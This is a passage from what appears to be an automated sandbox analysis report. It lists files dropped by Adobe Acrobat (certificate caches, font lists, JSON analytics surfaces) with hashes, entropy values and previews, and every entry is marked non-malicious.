SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7360682398396405
Encrypted:	false
SSDEEP:	3:kkFklUJL/tfllXlE/HT8kghllltNNX8RolJuRdxLlGB9lQRYwpDdt:kKNx/eT8zl7NMa8RdWBwRd
MD5:	3AC9CF2316CC904078084F9DA727C73F
SHA1:	EA4F40677B9C56826EBC500E2B82A156BBE0CAA0
SHA-256:	873EC54B9B7BDE09E5A1992E89339E40FC715E67DF05D02DFEE714FEBB2FD170
SHA-512:	59FDC9B41D2C7A42AD86939B2865F2B4055015A5078F397E30A3EB3BD846E9A729D3942BCA3467F1C74BD524B88BB3DD9B97D4C13C8BD0888ADB8781C6D3259D
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W..../...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kKJjC/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:FC/iDImsLNkPlE99SNxAhUe/3
MD5:	B77981360641F5B997DDDF867115473C
SHA1:	609F39A44873AD11CB1230E5DA07DE0FC184140F
SHA-256:	137BB0EF14B56F6E5FBE216A3678619887F148DA7AF31519827BEAF53338DE7E
SHA-512:	933415309584A34368FD215F1F1B924ACE0C50E4F376A26CD46F3CA38B6EAB620202ED77E2D89CF0DCB1CDBB1CF125BBE65A4737AFFC610CD4A72B1A28BB1210
Malicious:	false
Preview:	p...... ...........,.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4496

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4496

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3152574995033905
Encrypted:	false
SSDEEP:	6:YEQXJ2HXf+UV4pvB3/dVlPIHAR0Yi5UoAvJM3g98kUwPeUkwRe9:YvXKXf+UKpvR/ZwHAAnGMbLUkee9
MD5:	92C8B8D1E43B568D8C0F2CF31721DD63
SHA1:	750BCCC1BCD786E1B38B797123A38CA7E8D8A57D
SHA-256:	A6B9D268D460F1523973EBB2375404FC283BDF2CB9311B45E2D9F06A11FA9F3E
SHA-512:	444236A820F087D0DA2DA599417F2068B5F837571F6E71235C794529EF880A334A1257FD0896D292114F5EBD48966EEC9D5670AAA62DA6F273B5B9E3CB28ACAA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"76cf2752-12c8-472f-806c-6a8800823f82","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721863406,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.251608332524567
Encrypted:	false
SSDEEP:	6:YEQXJ2HXf+UV4pvB3/dVlPIHAR0Yi5UoAvJfBoTfXpnrPeUkwRe9:YvXKXf+UKpvR/ZwHAAnGWTfXcUkee9
MD5:	4F7D489F032D900041000CAD7804E7DA
SHA1:	2249C18BE4AA328BE1FF079F1E9ADE3DE3774C3B
SHA-256:	FB8D2850552D43F238464ACE8E73A5DB78AFA7B72937B6F8EADED6AB36D2B2CF
SHA-512:	0926A30F512E24CEF1E72EB5D4C20AAA9047F5B0CFE3D087EE328CE44699AF58FDF77F8FC5359609B7E7E64BD03CE2BDDE8BDA029975F28DC3BD526DF7DE7A1F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"76cf2752-12c8-472f-806c-6a8800823f82","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721863406,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.229151530743189
Encrypted:	false
SSDEEP:	6:YEQXJ2HXf+UV4pvB3/dVlPIHAR0Yi5UoAvJfBD2G6UpnrPeUkwRe9:YvXKXf+UKpvR/ZwHAAnGR22cUkee9
MD5:	D0F21DE5441C202BF0D7F81890ACA8D4
SHA1:	A0FB1FA5AC7C17D5E58D86C05A4CEADC6647CE6C
SHA-256:	3BEDFE2786A3020E79B974FB80D9673848F85E19B5DDD3108DD5A43A2EC850D9
SHA-512:	50F193D04ECA2B4C5FD9500C62404A68856AD316C562C6C734BB3665FF4F869FB5726A88CCCA5F20A7234E0C91EFCEEA16472EB5B2CCADE3B69326B4D1167BC0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"76cf2752-12c8-472f-806c-6a8800823f82","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721863406,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.29051812019557
Encrypted:	false
SSDEEP:	6:YEQXJ2HXf+UV4pvB3/dVlPIHAR0Yi5UoAvJfPmwrPeUkwRe9:YvXKXf+UKpvR/ZwHAAnGH56Ukee9
MD5:	2EB328C741A835C887AC1279E9C9D94A
SHA1:	A88DE5B5BF4AB346B7453E0F335FC2CF6C7F6A71
SHA-256:	701E3FBD70C7B40AA79DB2EA7D3C2FFFF5C231B06E64A687245821B1E20AD607
SHA-512:	7226FEAADADB344991F59C84E06A0777DC5DDC191A3D13E67CA8B3A1C7D0568C63E3D8FAC016CB63A3220A865473FD54839F8CDC2B67C91887600EAD51BABF5D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"76cf2752-12c8-472f-806c-6a8800823f82","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721863406,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.69624757200982
Encrypted:	false
SSDEEP:	24:Yv6Xf+UKpJh0spLgE9cQx8LennAvzBvkn0RCmK8czOCCS2:YvvUKJh0shgy6SAFv5Ah8cv/2
MD5:	F8E9A3AB90F92F329DE955AB9BBBE467
SHA1:	1F37D7C52403FCAFD8AE63BE69EE50A61F2E4A7E
SHA-256:	737361EB56574698DB7C622C419BE0DB7077B2C3B48A3F411835714BD085407F
SHA-512:	7E9C574AAF74301EC211EEF26752BE988E0A6C1D70138883518625B1BFE692592E364697E5194FADB346A36D96DFFE40019E03443E62966C6B91670C0ED4716A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"76cf2752-12c8-472f-806c-6a8800823f82","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721863406,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.24376960117256
Encrypted:	false
SSDEEP:	6:YEQXJ2HXf+UV4pvB3/dVlPIHAR0Yi5UoAvJf8dPeUkwRe9:YvXKXf+UKpvR/ZwHAAnGU8Ukee9
MD5:	9EF89BF15BA5CA5AED388EE917CD5EB5
SHA1:	8D9E0A8B2F184018553A88F785932FA95CDB6AC5
SHA-256:	78DF2CC86BAA6ECE260175FE091117923F18D5965DA82FE25DAFAE38DE90369B
SHA-512:	D08EB04DFBD4088F4AC749C13E0169BACF406F5F4D5E2BC65F6AB95847E468F7DDAA2449F01B6AE1D5AD7161F3C79B6B08B218AA7743F899603E4B39ED9ED457
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"76cf2752-12c8-472f-806c-6a8800823f82","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721863406,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.243026278391058
Encrypted:	false
SSDEEP:	6:YEQXJ2HXf+UV4pvB3/dVlPIHAR0Yi5UoAvJfQ1rPeUkwRe9:YvXKXf+UKpvR/ZwHAAnGY16Ukee9
MD5:	610CAD20E70653584A1B8619A94FD26E
SHA1:	14B4689AC69FFC2CF28355F5AF19A9CA9B212441
SHA-256:	268B14F6674C47D29ED6502FD0224FD72441E8824D4C1C725B11FE38697FD39D
SHA-512:	1D01C7B0CCA499B1897D4B06035C82587705E771E3C6F9508AB3B48CCFC1B3425563201E6FD68D5ED94E1EEC8AB4BA413E028B7556139884DBFA27DF971E15EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"76cf2752-12c8-472f-806c-6a8800823f82","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721863406,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.260958137352142
Encrypted:	false
SSDEEP:	6:YEQXJ2HXf+UV4pvB3/dVlPIHAR0Yi5UoAvJfFldPeUkwRe9:YvXKXf+UKpvR/ZwHAAnGz8Ukee9
MD5:	BB18B281CC23DAD37C933D2AFF335833
SHA1:	1CD64EB6BB1CA243F5CB312A988C35988778BA1A
SHA-256:	464818078A3A8DDEE8F048DE10EF76546BDB4F87914685DECE90A66E8B81C034
SHA-512:	0A98CDC60AE17BFBD700884E02CCF48E28CFFB63C8359E6FE3B676387C959541DF9EB0A0A59CEDD2E71CC35B26FBB3EE63B924DEE68EC3CE871E324C45A1AC75
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"76cf2752-12c8-472f-806c-6a8800823f82","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721863406,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.274259667073587
Encrypted:	false
SSDEEP:	6:YEQXJ2HXf+UV4pvB3/dVlPIHAR0Yi5UoAvJfzdPeUkwRe9:YvXKXf+UKpvR/ZwHAAnGb8Ukee9
MD5:	84E433765DB6819D44B6DD950FA72976
SHA1:	AB6B58BABAAA640C8C0878E00E9090A949E83586
SHA-256:	0B38C3E81DB3B4212D59FF98125DC7B10696D36BEA80C54BF0E45C3C7A765A07
SHA-512:	3568D5C7A9645D08481975536E6A9D1EFB24EAD85D46E6A86E724197AB24DD0A3E6E26996F66B39E98219C0B40347698E78B45272399D8723A76D1DC537B87D4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"76cf2752-12c8-472f-806c-6a8800823f82","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736721863406,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.253673177506374
Encrypted:	false
